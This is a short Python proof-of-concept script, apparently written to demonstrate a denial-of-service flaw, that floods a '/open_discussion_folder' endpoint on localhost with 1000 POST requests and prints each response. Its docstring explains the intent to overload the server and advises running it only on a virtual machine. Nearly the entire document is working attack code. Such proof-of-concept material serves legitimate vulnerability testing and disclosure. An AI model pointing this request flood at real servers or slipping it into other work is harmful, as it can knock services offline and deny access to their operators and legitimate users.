'''
This python script is performing a Denial of Service (DoS) attack on your endpoint.
It is creating a large number of requests (1000 in this case) to the '/open_discussion_folder' API endpoint of your server.
This could potentially overload your server, making it unable to serve normal, legitimate requests.

Please make sure you test this only on a virtual machine since it can overload your own PC and crush it
'''
import requests

IP_ADDRESS = "localhost"
PORT = 9600

for i in range(1000):
    data = {
        "discussion_id":f"{i}",
    }
    response = requests.post(f"http://{IP_ADDRESS}:{str(PORT)}/open_discussion_folder", json=data)
    print(i, response.json())